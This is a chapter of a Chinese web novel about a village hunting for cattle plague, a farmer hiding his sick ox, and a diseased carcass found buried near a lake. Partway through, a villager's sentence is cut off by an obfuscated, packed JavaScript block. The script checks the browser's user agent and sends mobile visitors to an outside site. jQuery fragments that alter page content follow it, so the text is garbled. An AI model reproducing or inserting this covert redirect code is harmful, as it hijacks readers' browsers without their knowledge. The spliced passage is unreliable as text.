19. 冲突

作品:《农家子科举升官路

    质问的是个五十左右的高大汉子,皮肤黝黑。


    他媳妇身材娇小,站在他身边不说话,表情也很不满。


    “铁柱叔,”王兴指了指牛棚里的那只牛,“你自己摸摸,那叫有些发热?”


    排查小队里其他人也说:“你再看看它的眼睛,开始肿胀不说,喉咙这个地方也开始溃烂,这可不是简单的发热啊,你发热时都不会这样。”


    石铁柱表情难看,坚持道,“就是发热,我会找大夫来看。”


    王兴不干了,搬出了村长老爹不管用,那就搬出官府。


    院子外的村民们也七嘴八舌帮腔。


    “铁柱啊,这可是官府的命令,不能不听。”


    “你不要自私,害了全村的牛啊。”


    “你儿子还在读书,你得当个榜样,大气点。”


    石铁柱越听越气。


    他成亲早却很晚才有孩子,更是三十多才有儿子。为供儿子读书,一家人付出很多。他家牛也没买多久,花了整整十一两。在他心里,这牛不仅平时能用来耕田,必要时刻还能高价卖出去供儿子读书。


    有这样的打算,再听村民提及儿子,他便认为这些人是嫉妒他儿子读书聪明,想断了儿子的青云路。


    目光一扫,就扫到排查小队里十分安静的秦高瞻,当即找到突破口。


    “秦高瞻,是不是你指使他们这样说?”


    正欣慰王兴等人记住病牛症状的秦高瞻:“……”


    他无辜脸,“叔,我进院到现在,一句话都没说。”


    “你提前和他们打招呼了!”石铁柱坚持道。


    秦高瞻正怀疑这人是不是有病时,又听到石铁柱大声道,“乡亲们都知道,当年秦高瞻死皮赖脸缠着李夫子要读书,被我儿子撞见,没能占到便宜,这些年一直怀恨在心,现在终于找到机会报复。”


    秦高瞻垂眸,懂了,这是想利用所谓的旧怨,将大家的注意力从病牛身上引走。


    如他所料,石铁柱又大声强调昨日大雨,牛棚有些漏水,导致他们家牛今日有些发热。


    “我拿地里庄稼的收成发誓,在这之前,我们家牛没任何症状!”


    秦高瞻觉得这人脑子挺活,不过……


    “铁柱叔,别讲这些有的没的,舍不得牛就直说。”


    王兴站出来,表情不善,“原本我们也能理解你的心情,可你欺负一个小孩就过分了。还拿庄稼收成发誓,村里谁不知道你们夫妻俩不会种田。”


    他打开院门,示意村民们排队进来。


    “刚好,我可以借这机会教学。大家回去后,能时刻盯着家里的牛猪羊。平时呢,也能互相监督。这可关系到咱们村未来多年的收成。”


    秦高瞻忍不住提醒:“可以隔着点距离学习,不要近距离接触。真要接触了,还是要做好防护措施,事后清理,用火烘烤衣物再接触家里的牲畜。”


    村民们顿时很从心的退开些。


    尽管一句话没说,可几乎用实际行动证明,他们相信石铁柱家的牛感染了牛瘟。


    石铁柱气得不行,一个箭步冲过来,就要对秦高瞻动手。


    “铁柱,你要做什么?”


    童多实拦住他,“瞻哥儿只是好心提醒大家,你这个样子,更像是心虚。”


    王兴几人也围过来劝,王兴更是干脆将人分成两组,让童多实几人带着秦高瞻去别家。


    “这里交给我。”


    去其他村民家路上,童多实时不时看秦高瞻一眼。


    他向来嘴笨,这会也不知说什么安慰这个小孩。


    没打算被人安慰的秦高瞻正在感慨排查工作不好做。


    即便有防牛瘟手册,不少村民根据手册能分辨出病牛,可要说服村民交出病牛还无怨言很难。他们村小尚且如此,那些大村更不用说了。一旦有一户出现病牛的人家不配合,疫情就会持续很久。


    第二户出现病牛的人家姓关。


    秦高瞻等人到时,关丰收主动说,“我们家牛可能染病了。”


    又说了他观察到的特征,以及清明前村长提醒大家时,他做的那些措施。


    “牛棚每日都在打扫,也用过艾草苍术,粪便都处理了,但还是……”


    秦高瞻:“丰收叔,能说说你家牛前些日子去过哪儿吗?”


    关丰收很配合,不仅说了牛的行动路线,还说了他们一家人的行动路线,且强调,“何亮带着病牛来我们村时,我们家没人去凑热闹。”


    见秦高瞻表情有些难看,他追问,“是哪儿出了问题?”


    “我们村外边那个湖可能出问题了。”


    岑县河流不少,支流几乎贯穿全县,刚好为农户灌溉田地提供便利。湖泊也不少,水位由晴雨天决定。


    梨花村外就有一个湖,不大,田地在那个湖附近的人家在用完牛后,基本都会让牛去洗个澡喝点水。关丰收家就是这么做的。


    而那湖,就在梨花村和何家村之间。


    关丰收几人的表情跟着严肃起来,“瞻哥儿,你的意思是?”


    “牛瘟怕太阳,怕晒怕热,这会水凉,要是有人把某些东西倒入在湖中,又或者在附近浅浅掩盖了什么,会传到湖里,且会持续很久。”


    这就是病牛无害化处理一般分为焚烧和深埋的原因。


    童时实立马说:“先告诉大家,不要让牛去那个湖喝水。”


    “嗯,”秦高瞻接话,“咱们最好带些人去那个湖附近找找看。”


    在软硬兼施,暂时安抚好石铁柱后,王兴又得知这个噩耗,苦笑,“这下子下午也没得休息了。”


    扫视一圈,见大家面露疲色,他忙说,“这样,大家先回家吃饭休息,下午我再召些人一起。”


    等大家陆续散开,他叫住秦高瞻。


    “瞻哥儿,他们几个可以轮流来,但你这边缺不得。”


    王兴说得心虚,觉得过于折腾一个孩子,承诺道,“不需要你动手,你负责到处看看。”


    “我明白,都是为了村子。”


    秦高瞻觉得第一时间彻底解决问题才叫高效。人心惶惶不如快刀斩乱麻,让大家安心下来耕作。


    回家后他也是这么和弟弟妹妹说的。


    遇到这种大事,家里人都选择支持。


    “放心吧,地里的活交给我们。”


    秦高瞻笑了笑:“也就下午需要我出面,之后就交给县衙和村长了。”


    能教出王兴这样头脑灵活的儿子,本身治理村庄经验丰富的王村长肯定能想到更多。


    再看宁县令做出的举措,风格和前任县令截然相反,只要找对方向,他对这次牛瘟的解决还是比较有信心的。


    下午,秦高瞻等人花费了些时间,在梨花村外那个湖附近发现浅埋的病牛尸体,赶紧挖出来远离水源,并未急着焚烧。


    有村民气道:“肯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833002|174491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    定是何家村的人做的,这群丧良心的会遭天谴!”


    “咱们去找他们要个说法,这不是存心害我们村吗?”


    一群人怒气冲冲。


    王兴连忙阻止,“别冲动,何家村的村长估计不知道这事。现在他们村正是乱的时候,咱们别过去把事情闹得更大。”


    “那就这么算了?”


    “当然不,交给县衙处理。牛瘟一事大,县令大人指不定会亲自过问,把人抓去牢里,还会打板子。板子比你们拳头硬,还怕惩罚不了那些人?”


    村民们这才安静下来。


    只是目光一扫过发臭的病牛,又忍不住骂骂咧咧。


    再晚一些的时候,王村长兴冲冲的回来了。


    “瞻哥儿,宁大人采用了防牛瘟手册上的所有内容,正紧锣密鼓的安排下去,这次牛瘟肯定不会蔓延太广!”


    等得知湖泊旁病牛的事,又瞬间变脸。


    “我去何家村看看,咱们都排查完了,他们村子再大,也该排查个一半吧?”


    出门时还嘟囔:“宁大人怀疑何家村和梨花村有一个是源头,还派了不少衙役来了。哼,和咱们村有什么关系。”


    他不知道的是,秦登科一家的想法和他一样。


    “咱们村肯定不是源头,”秦登科信誓旦旦,“肯定是何家村出了问题!”


    “就是,”孙氏也怕县令责怪他们家影响到要考试的儿子,“我听说村外湖边还有病牛的尸体,肯定是何家村人埋的,想陷害我们村。”


    “那是要陷害我们家,”赵氏气道,“老头,你和登科要去问个清楚,到底是谁要害我们家。”


    秦大壮抽着旱烟,“行了,如今的县令是个公正的人,会查清楚。你们再这样囔囔,影响到高中休息怎么办?”


    几个大人瞬间闭嘴。


    天大地大,没有他们家儿子/孙子读书考试重要。


    转头回到房间,孙氏担心的询问丈夫,“你仔细想想,咱们家的牛借出去前接触了哪些牲畜,去过哪些地方。咱们家借牛的日子,是不是还在那什么潜伏期内?”


    “我回忆过了,没问题。”


    孙氏不信,“你时常喝酒,也许会遗漏一二,再回忆一次。”


    秦登科嫌烦,“年纪大了真啰嗦,我累了要歇息。”


    孙氏顿时怒了。


    “嫌我年纪大了啰嗦?你怎么不说说你自己?要不是你整日里结交些猪朋狗友,还喜欢说大话死要面子,把牛借出去,怎会引出这件事?”


    不等秦登科开口,劈头就骂,“对自己媳妇不耐烦,那你去何亮家,让他们家赔钱啊!十两可不少,都能让高中买些好礼赠给夫子开小灶。你光想着当进士爹,怎么不为进士儿子考虑?”


    她气急了,直接来一句,“你这个自私好面子的怂包!”


    从小到大,就没人这么骂过他,秦登科也怒了,近几日的负面情绪一起爆发。


    “我自私好面子?你怎么不说说你,家里有点新粮,就送去娘家。别人吹捧几句,就乐呵呵借粮,又不去催要,下次来了继续借。平时看不起这个看不起那个,觉得都是村妇不如你这个秀才女儿,殊不知别人都觉得你蠢好欺负!”


    两人吵闹的时候知道压低嗓音,传不到秦高中房间那,却被隔壁的秦来娣听个正着。


    女孩蜷缩在角落,开始忧心明日。爹娘吵架了,肯定会拿她出气,她能躲到哪儿去呢?